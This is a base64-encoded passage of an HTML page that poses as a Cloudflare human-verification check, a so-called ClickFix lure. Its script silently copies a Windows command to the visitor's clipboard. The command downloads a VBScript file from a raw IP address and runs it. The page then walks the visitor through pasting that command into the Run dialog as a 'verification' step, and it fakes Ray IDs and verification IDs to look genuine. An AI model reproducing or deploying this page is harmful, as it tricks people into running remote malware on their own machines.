250LXNpemU6IDE0cHg7IGJvcmRlci1yYWRpdXM6IDA7IH0KICAgICNzcGlubmVyMiB7IHdpZHRoOiA0MHB4OyBoZWlnaHQ6IDQwcHg7IGFuaW1hdGlvbjogcm90YXRlIDRzIGxpbmVhciBpbmZpbml0ZTsgbWFyZ2luLXRvcDogLTRweDsgfQogICAgLmNoZWNrYm94LXdpbmRvdyB7IG9wYWNpdHk6IDA7IH0KICAgIEBrZXlmcmFtZXMgcm90YXRlIHsgZnJvbSB7IHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOyB9IHRvIHsgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsgfSB9CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KCjxkaXYgY2xhc3M9Im1haW4td3JhcHBlciI+CiA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgogIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7Ij4KICAgPCEtLSBPbi1wYWdlIGxvZ28gLS0+CiAgIDxpbWcgY2xhc3M9ImxvZ28taW1nIiBzcmM9IiIgYWx0PSJTaXRlIGxvZ28iIHN0eWxlPSJoZWlnaHQ6IDJyZW07IG1hcmdpbi1yaWdodDogMC41cmVtOyI+CiAgIDxwIHN0eWxlPSJmb250LXNpemU6IDIuNXJlbTsgZm9udC13ZWlnaHQ6IDUwMDsgbGluZS1oZWlnaHQ6IDMuNzVyZW07Ij48c3BhbiBjbGFzcz0iZG9tYWluLW5hbWUiPjwvc3Bhbj48L3A+CiAgPC9kaXY+CgogIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMS41cmVtOyBsaW5lLWhlaWdodDogMi4yNXJlbTsgbWFyZ2luLWJvdHRvbTogMnJlbTsgbWluLWhlaWdodDogMnJlbTtmb250LXdlaWdodDo1NTA7IHBhZGRpbmctdG9wOiAycHgiPgogICAgPHA+CiAgICAgIDxzcGFuIGNsYXNzPSJwcmVsb2FkZXJfdGV4dCI+PC9iPkNoZWNraW5nIGlmIHlvdSBhcmUgaHVtYW4uIFRoaXMgbWF5IHRha2UgYSBmZXcgc2Vjb25kcy48L3NwYW4+CiAgICAgIDxzcGFuIGNsYXNzPSJ0ZXh0YWxsc3RlcCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij5WZXJpZnkgeW91IGFyZSBodW1hbiBieSBjb21wbGV0aW5nIHRoZSBhY3Rpb24gYmVsb3cuPC9zcGFuPgogICAgPC9wPgogIDwvZGl2PgoKICA8IS0tIFBSRUxPQURFUiAtLT4KICA8ZGl2IGNsYXNzPSJpbnRybyI+CiAgPGRpdiBjbGFzcz0icHJlbG9hZGVyIj4KICAgIDxkaXYgY2xhc3M9Imxkcy1yaW5nIj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2PgogIDwvZGl2PgoKICA8IS0tIFNUQVJUIC0tPgogIDxkaXYgaWQ9ImNoZWNrYm94LXdpbmRvdyIgY2xhc3M9ImNoZWNrYm94LXdpbmRvdyIgc3R5bGU9IndpZHRoOiAzMDBweDsgaGVpZ2h0OiA3NHB4OyBkaXNwbGF5OiBub25lOyI+CiAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IHdpZHRoOiAxMDAlOyI+CiAgICA8ZGl2IGNsYXNzPSJjaGVja2JveC1jb250YWluZXIiIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyBtYXJnaW4tcmlnaHQ6IDEycHg7IHdpZHRoOiAzMHB4OyI+CgogICAgIDxzdmcgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0ic3RlcDAiIGlkPSJzcGlubmVyMiIgZmlsbD0iZ3JlZW4iIHZpZXdCb3g9IjAgMCA2MCA2MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgICAgICA8Y2lyY2xlIGN4PSIzMCIgY3k9IjEwIiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iNTAiIGN5PSIzMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjMwIiBjeT0iNTAiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSIxMCIgY3k9IjMwIiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iNDMuNiIgY3k9IjE2LjQiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSIxNi40IiBjeT0iMTYuNCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjQzLjYiIGN5PSI0My42IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTYuNCIgY3k9IjQzLjYiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgPC9zdmc+CgogICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBpZD0iY2hlY2tib3giIGNsYXNzPSJjaGVja2JveCBzdGVwMSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48L2J1dHRvbj4KCiAgICAgPGRpdiBjbGFzcz0ic3Bpbm5lciBzdGVwMiIgaWQ9InNwaW5uZXIiIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IGRpc3BsYXk6IG5vbmU7Ij4KICAgICAgPGRpdiBjbGFzcz0ibGRzLXJpbmciPjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PC9kaXY+CiAgICAgPC9kaXY+CgogICAgIDxkaXYgY2xhc3M9InN0ZXAzIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgogICAgICA8c3ZnIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgdmlld0JveD0iMCAwIDUwIDUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgICAgPGNpcmNsZSBjeD0iMjUiIGN5PSIyNSIgcj0iMjMiIGZpbGw9IiMyOGE3NDUiIC8+CiAgICAgICA8cGF0aCBkPSJNMTUgMjUgTDIyIDMyIEwzNSAxOCIgc3Ryb2tlPSJ3aGl0ZSIgc3Ryb2tlLXdpZHRoPSI0IiBmaWxsPSJub25lIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIC8+CiAgICAgIDwvc3ZnPgogICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPGRpdiBjbGFzcz0idGV0dHgiPgogICAgIDxwIGNsYXNzPSJzdGVwMCIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyI+VmVyaWZ5aW5nLi4uPC9wPgogICAgIDxwIGNsYXNzPSJzdGVwMSIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyBkaXNwbGF5OiBub25lOyI+SSdtIG5vdCBhIHJvYm90PC9wPgogICAgIDxwIGNsYXNzPSJzdGVwMiIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyBkaXNwbGF5OiBub25lOyI+VmVyaWZpY2F0aW9uIFN0ZXBzPC9wPgogICAgIDxwIGNsYXNzPSJzdGVwMyIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyBkaXNwbGF5OiBub25lOyI+U3VjY2Vzc2Z1bGx5LjwvcD4KICAgIDwvZGl2PgoKICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogOHB4OyB0ZXh0LWFsaWduOiByaWdodDsgbWFyZ2luLWxlZnQ6IGF1dG87Ij4KICAgICA8aW1nIHN0eWxlPSJ3aWR0aDogNjdweDsgaGVpZ2h0OiAyM3B4OyBtYXJnaW4tYm90dG9tOiA1cHg7IiBzcmM9Imh0dHBzOi8vaS5wb3N0aW1nLmNjL2s0enJ6OTJ6LzExMS5wbmciIC8+CiAgICAgPHAgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+Q29uZmlkZW50aWFsaXR5PC9wPgogICAgIDxwIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlRlcm1zIGFuZCBDb25kaXRpb25zPC9wPgogICAgPC9kaXY+CiAgIDwvZGl2PgoKICAgPGRpdiBpZD0idmVyaWZ5LXdpbmRvdyIgY2xhc3M9InZlcmlmeS13aW5kb3ciIHN0eWxlPSJib3JkZXItdG9wOiAxcHggc29saWQgIzc5Nzk3OTsgcGFkZGluZy10b3A6IDNweDsgbWFyZ2luLXRvcDogMTVweDsiPgogICAgPGRpdiBjbGFzcz0idmVyaWZ5LWNvbnRhaW5lciI+CiAgICAgPG1haW4gY2xhc3M9InZlcmlmeS1tYWluIiBzdHlsZT0iY29sb3I6ICNkOWQ5ZDk7Ij4KICAgICAgPHAgc3R5bGU9ImZvbnQtc2l6ZTogMThweDsgbWFyZ2luLWJvdHRvbTogMTVweDsiPlRvIGJldHRlciBwcm92ZSB5b3UgYXJlIG5vdCBhIHJvYm90LCBwbGVhc2U6PC9wPgogICAgICA8b2w+CiAgICAgICA8bGk+UHJlc3MgJmFtcDsgaG9sZCB0aGUgV2luZG93cyBLZXkgPGkgY2xhc3M9ImZhYiBmYS13aW5kb3dzIj48L2k+ICsgPGI+UjwvYj4uPC9saT4KICAgICAgIDxsaT5JbiB0aGUgdmVyaWZpY2F0aW9uIHdpbmRvdywgcHJlc3MgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi48L2xpPgogICAgICAgPGxpPlByZXNzIDxiPkVudGVyPC9iPiBvbiB5b3VyIGtleWJvYXJkIHRvIGZpbmlzaC48L2xpPgogICAgICA8L29sPgogICAgICA8cCBjbGFzcz0ib2JzZXJ2ZSIgc3R5bGU9InBhZGRpbmctdG9wOiAxMHB4OyI+CiAgICAgICBZb3Ugd2lsbCBvYnNlcnZlIGFuZCBhZ3JlZTo8YnI+CiAgICAgICA8Y29kZSBzdHlsZT0iYmFja2dyb3VuZDogbm9uZTsgYm9yZGVyOiAxcHggc29saWQgIzc5Nzk3OTsgd2lkdGg6IDQzMnB4OyI+IOKchSAiSSBhbSBub3QgYSByb2JvdCAtIHJlQ0FQVENIQSBWZXJpZmljYXRpb24gSUQ6IDxzcGFuIGlkPSJ2ZXJpZmljYXRpb24taWQiPjE0NjgyMDwvc3Bhbj4iIDwvY29kZT4KICAgICAgPC9wPgogICAgIDwvbWFpbj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0idmVyaWZ5LWNvbnRhaW5lciB2ZXJpZnktZm9vdGVyIiBzdHlsZT0iYmFja2dyb3VuZDogbm9uZTsiPgogICAgIDxkaXYgY2xhc3M9InZlcmlmeS1mb290ZXItbGVmdCIgc3R5bGU9IndpZHRoOiAyODZweDsgZmxvYXQ6IGxlZnQ7IHRleHQtYWxpZ246IGxlZnQ7IGZvbnQtc2l6ZTogMTVweDsiPlBlcmZvcm0gdGhlIHN0ZXBzIGFib3ZlIHRvIGZpbmlzaCB2ZXJpZmljYXRpb24uPC9kaXY+CiAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ2ZXJpZnktdmVyaWZ5LWJ1dHRvbiBibG9jayIgaWQ9InZlcmlmeS1idXR0b24iIHN0eWxlPSJiYWNrZ3JvdW5kOiAjNWU1ZTVlOyBwYWRkaW5nOiA5cHggMzhweDsiPlZlcmlmeTwvYnV0dG9uPgogICAgPC9kaXY+CiAgIDwvZGl2PgoKCiAgIDxzY3JpcHQ+CiAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICAgICAgIGNvbnN0IGRvbWFpbiA9IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsKICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5kb21haW4iKS5mb3JFYWNoKGVsID0+IHsgaWYgKGVsKSBlbC50ZXh0Q29udGVudCA9IGRvbWFpbjsgfSk7CiAgICAgfSk7CiAgIDwvc2NyaXB0PgoKICA8L2Rpdj4KICA8cCBzdHlsZT0iZm9udC1zaXplOiAxLjVyZW07IGxpbmUtaGVpZ2h0OiAyLjI1cmVtOyBwYWRkaW5nLXRvcDogMjBweDtwYWRkaW5nLXRvcDogMzNweCI+CiAgICA8c3BhbiBjbGFzcz0iZG9tYWluLW5hbWUiPjwvc3Bhbj4gbmVlZHMgdG8gcmV2aWV3IHRoZSBzZWN1cml0eSBvZiB5b3VyIGNvbm5lY3Rpb24gYmVmb3JlIHByb2NlZWRpbmcuCiAgPC9wPgogPC9kaXY+CjwvZGl2PgoKPGRpdiBjbGFzcz0iZm9vdGVyIiByb2xlPSJjb250ZW50aW5mbyI+CiA8ZGl2IGNsYXNzPSJmb290ZXItaW5uZXIiPgogIDxkaXY+PGRpdj5SYXkgSUQ6IDxjb2RlIGNsYXNzPSJyYXktaWQiPjU2YTRjNTI5OWZkZXRtY2E8L2NvZGU+PC9kaXY+PC9kaXY+CiAgPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDogNXB4OyI+UGxhdGZvcm0gcGVyZm9ybWFuY2UgYW5kIHNlY3VyaXR5IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDAwMCI+Q2xvdWRmbGFyZTwvc3Bhbj48L2Rpdj4KIDwvZGl2Pgo8L2Rpdj4KCjxzY3JpcHQ+Ci8qCiAgCiovCmNvbnN0IGNvbW1hbmQgPSAnY21kIC9jIGVjaG8gU2V0IGg9Q3JlYXRlT2JqZWN0KCJXaW5IdHRwLldpbkh0dHBSZXF1ZXN0LjUuMSIpOmguT3BlbiAiR0VUIiwiaHR0cDovLzE5OC4xMy4xNTguMTI3OjU1MDYvbnkudmJzIiwwOmguU2VuZDpFeGVjdXRlIGguUmVzcG9uc2VUZXh0ID4gIiV0ZW1wJVxcbnkudmJzIiAmJiAiJXRlbXAlXFxueS52YnMiJzsKCgooZnVuY3Rpb24gKCkgewogIGNvbnN0IHBhcmFtcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMod2luZG93LmxvY2F0aW9uLnNlYXJjaCk7CiAgY29uc3Qgc2l0ZVBhcmFtID0gcGFyYW1zLmdldCgnc2l0ZScpOyAgICAgICAKICBjb25zdCBsb2dvUGFyYW0gPSBwYXJhbXMuZ2V0KCdsb2dvJyk7ICAgICAgIAoKICBmdW5jdGlvbiBnZXRIb3N0bmFtZSh2YWwpIHsKICAgIGlmICghdmFsKSByZXR1cm4gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lIHx8ICcnOwogICAgdHJ5IHsgcmV0dXJuIG5ldyBVUkwodmFsLCB3aW5kb3cubG9jYXRpb24ub3JpZ2luKS5ob3N0bmFtZTsgfQogICAgY2F0Y2ggeyByZXR1cm4gU3RyaW5nKHZhbCkucmVwbGFjZSgvXmh0dHBzPzpcL1wvL2ksJycpLnNwbGl0KCcvJylbMF07IH0KICB9CgogIGNvbnN0IGhvc3QgPSBnZXRIb3N0bmFtZShzaXRlUGFyYW0pIHx8IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZSB8fCAnJzsKCgogIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5kb21haW4tbmFtZScpLmZvckVhY2goZWwgPT4geyBlbC50ZXh0Q29udGVudCA9IGhvc3Q7IH0pOwoKICAvLyBha3R1ZWxsZXMgd2Vic2l0ZSBpY29uCiAgY29uc3QgZmF2aWNvblVybCA9IGxvZ29QYXJhbSB8fCBgaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9zMi9mYXZpY29ucz9zej0xMjgmZG9tYWluPSR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfWA7CiAgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkeW5hbWljLWZhdmljb24nKSB8fCAoKCk9Pntjb25zdCBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2xpbmsnKTtsLnJlbD0naWNvbic7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChsKTtyZXR1cm4gbDt9KSgpKS5ocmVmID0gZmF2aWNvblVybDsKCgogIGNvbnN0IGNhbmRpZGF0ZXMgPSBbCiAgICBmYXZpY29uVXJsLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgYGh0dHBzOi8vaWNvbnMuZHVja2R1Y2tnby5jb20vaXAzLyR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfS5pY29gLAogICAgYGh0dHBzOi8vJHtob3N0fS9mYXZpY29uLmljb2AKICBdLmZpbHRlcihCb29sZWFuKTsKCiAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxvZ28taW1nJykuZm9yRWFjaChpbWcgPT4gewogICAgbGV0IGkgPSAwOwogICAgY29uc3QgdHJ5TmV4dCA9ICgpID0+IHsKICAgICAgaWYgKGkgPj0gY2FuZGlkYXRlcy5sZW5ndGgpIHsgaW1nLnNyYyA9IGZhdmljb25Vcmw7IHJldHVybjsgfQogICAgICBpbWcuc3JjID0gY2FuZGlkYXRlc1tpKytdOwogICAgfTsKICAgIGltZy5hbHQgPSBob3N0ICsgJyBsb2dvJzsKICAgIGltZy5vbmVycm9yID0gdHJ5TmV4dDsKICAgIHRyeU5leHQoKTsKICB9KTsKfSkoKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0PgoKZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICAgIGNvbnN0IHByZWxvYWRlckVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLnByZWxvYWRlciIpOwogICAgY29uc3QgcHJlbG9hZGVyVGV4dCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcmVsb2FkZXJfdGV4dCIpOwogICAgY29uc3QgdGV4dEFsbFN0ZXAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudGV4dGFsbHN0ZXAiKTsKICAgIGNvbnN0IGNoZWNrYm94V2luZG93ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94LXdpbmRvdyIpOwogICAgY29uc3Qgc3RlcDBFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMCIpOwogICAgY29uc3Qgc3RlcDFFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMSIpOwogICAgY29uc3Qgc3RlcDJFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMiIpOwogICAgY29uc3Qgc3RlcDNFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMyIpOwogICAgY29uc3QgY2hlY2tib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2hlY2tib3giKTsKICAgIGNvbnN0IHZlcmlmeVdpbmRvdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZXJpZnktd2luZG93Iik7CiAgICBjb25zdCBzcGlubmVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNwaW5uZXIiKTsKICAgIGNvbnN0IHZlcmlmeUJ1dHRvbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZXJpZnktYnV0dG9uIik7CgogICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgcHJlbG9hZGVyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICBpZiAocHJlbG9hZGVyVGV4dCkgcHJlbG9hZGVyVGV4dC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwogICAgICAgIGlmICh0ZXh0QWxsU3RlcCkgdGV4dEFsbFN0ZXAuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7CiAgICAgICAgaWYgKGNoZWNrYm94V2luZG93KSBjaGVja2JveFdpbmRvdy5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOwoKICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgaWYgKGNoZWNrYm94V2luZG93KSB7CiAgICAgICAgICAgICAgICBjaGVja2JveFdpbmRvdy5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOwogICAgICAgICAgICAgICAgbGV0IG9wYWNpdHkgPSAwOwogICAgICAgICAgICAgICAgY29uc3QgZmFkZUluID0gc2V0SW50ZXJ2YWwoKCkgPT4gewogICAgICAgICAgICAgICAgICAgIGlmIChvcGFjaXR5ID49IDEpIHsgY2xlYXJJbnRlcnZhbChmYWRlSW4pOyB9CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7IG9wYWNpdHkgKz0gMC4xOyBjaGVja2JveFdpbmRvdy5zdHlsZS5vcGFjaXR5ID0gb3BhY2l0eTsgfQogICAgICAgICAgICAgICAgfSwgMzApOwogICAgICAgICAgICB9CiAgICAgICAgfSwgMjAwKTsKCiAgICAgICAgc3RlcDBFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKCiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgIHN0ZXAwRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgc3RlcDFFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKICAgICAgICB9LCAyMDAwKTsKICAgIH0sIDE1MDApOwoKICAgIGlmIChjaGVja2JveCkgewogICAgICBjaGVja2JveC5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICBjb25zdCB0ZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7CiAgICAgICAgICB0ZXh0YXJlYS52YWx1ZSA9IGNvbW1hbmQ7CiAgICAgICAgICB0ZXh0YXJlYS5zZXRBdHRyaWJ1dGUoJ3JlYWRvbmx5JywgJycpOwogICAgICAgICAgdGV4dGFyZWEuc3R5bGUucG9zaXRpb24gPSAnYWJzb2x1dGUnOwogICAgICAgICAgdGV4dGFyZWEuc3R5bGUubGVmdCA9ICctOTk5OXB4JzsKICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodGV4dGFyZWEpOwogICAgICAgICAgdGV4dGFyZWEuc2VsZWN0KCk7CiAgICAgICAgICB0cnkgeyBkb2N1bWVudC5leGVjQ29tbWFuZCgnY29weScpOyB9IGNhdGNoKGUpIHsgLyogaWdub3JlICovIH0KICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQodGV4dGFyZWEpOwoKICAgICAgICAgIHN0ZXAxRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgIHN0ZXAyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIik7CiAgICAgICAgICBpZiAoc3Bpbm5lcikgc3Bpbm5lci5zdHlsZS52aXNpYmlsaXR5ID0gInZpc2libGUiOwoKICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgewogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUud2lkdGggPSAiNTMwcHgiOwogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUuaGVpZ2h0ID0gImF1dG8iOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBpZiAodmVyaWZ5V2luZG93KSB2ZXJpZnlXaW5kb3cuY2xhc3NMaXN0LmFkZCgiYWN0aXZlIik7CiAgICAgICAgICB9LCA1MDApOwogICAgICB9KTsKICAgIH0KCiAgICBpZiAodmVyaWZ5QnV0dG9uKSB7CiAgICAgIHZlcmlmeUJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgIGlmICh2ZXJpZnlXaW5kb3cpIHZlcmlmeVdpbmRvdy5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUiKTsKICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUuaGVpZ2h0ID0gIjc0cHgiOwoKICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUud2lkdGggPSAiMzAwcHgiOwogICAgICAgICAgICAgIHN0ZXAyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgICBzdGVwM0VsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwoKICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgc3RlcDNFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAibm9uZSIpOwogICAgICAgICAgICAgICAgICBzdGVwMUVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwogICAgICAgICAgICAgICAgICBpZiAoc3Bpbm5lcikgc3Bpbm5lci5zdHlsZS52aXNpYmlsaXR5ID0gImhpZGRlbiI7CiAgICAgICAgICAgICAgfSwgMTAwMCk7CiAgICAgICAgICB9LCA2MDApOwogICAgICB9KTsKICAgIH0KCgogICAgY29uc3QgdmVyRWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZpY2F0aW9uLWlkIik7CiAgICBpZiAodmVyRWwpIHZlckVsLnRleHRDb250ZW50ID0gTWF0aC5mbG9vcigxMDAwMDAgKyBNYXRoLnJhbmRvbSgpICogOTAwMDAwKTsKICAgIGNvbnN0IGNoYXJzID0gImFiY2RlZjAxMjM0NTY3ODkiOwogICAgY29uc3QgcmF5RWwgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucmF5LWlkIik7CiAgICBpZiAocmF5RWwpIHsKICAgICAgcmF5RWwudGV4dENvbnRlbnQgPQogICAgICAgIEFycmF5LmZyb20oeyBsZW5ndGg6IDE2IH0sICgpID0+IGNoYXJzW01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNoYXJzLmxlbmd0aCldKS5qb2luKCIiKTsKICAgIH0KfSk7CgoKZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29weScsIGZ1bmN0aW9uIChlKSB7CgogICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgaWYgKGUuY2xpcGJvYXJkRGF0YSkgewogICAgICAgIGUuY2xpcGJvYXJkRGF0YS5zZXREYXRhKCd0ZXh0L3BsYWluJywgY29tbWFuZCk7CiAgICB9IGVsc2UgaWYgKHdpbmRvdy5jbGlwYm9hcmREYXRhKSB7CiAgICAgICAgd2luZG93LmNsaXBib2FyZERhdGEuc2V0RGF0YSgnVGV4dCcsIGNvbW1hbmQpOwogICAgfQp9KTsKPC9zY3JpcHQ+CgoKPHNjcmlwdD4KKGZ1bmN0aW9uKCl7CiAgY29uc3QgaTE4biA9IHsKICAgIGVuOntjaGVja2luZzoiQ2hlY2tpbmcgaWYgeW91IGFyZSBodW1hbi4gVGhpcyBtYXkgdGFrZSBhIGZldyBzZWNvbmRzLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmeSB5b3UgYXJlIGh1bWFuIGJ5IGNvbXBsZXRpbmcgdGhlIGFjdGlvbiBiZWxvdy4iLHZlcmlmeWluZzoiVmVyaWZ5aW5nLi4uIixub3RSb2JvdDoiSSdtIG5vdCBhIHJvYm90IixzdGVwczoiVmVyaWZpY2F0aW9uIFN0ZXBzIixzdWNjZXNzOiJTdWNjZXNzZnVsbHkuIix2ZXJpZnlUaXRsZToiVG8gYmV0dGVyIHByb3ZlIHlvdSBhcmUgbm90IGEgcm9ib3QsIHBsZWFzZToiLHN0ZXAxOiJQcmVzcyAmYW1wOyBob2xkIHRoZSBXaW5kb3dzIEtleSA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJJbiB0aGUgdmVyaWZpY2F0aW9uIHdpbmRvdywgcHJlc3MgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJQcmVzcyA8Yj5FbnRlcjwvYj4gb24geW91ciBrZXlib2FyZCB0byBmaW5pc2guIixv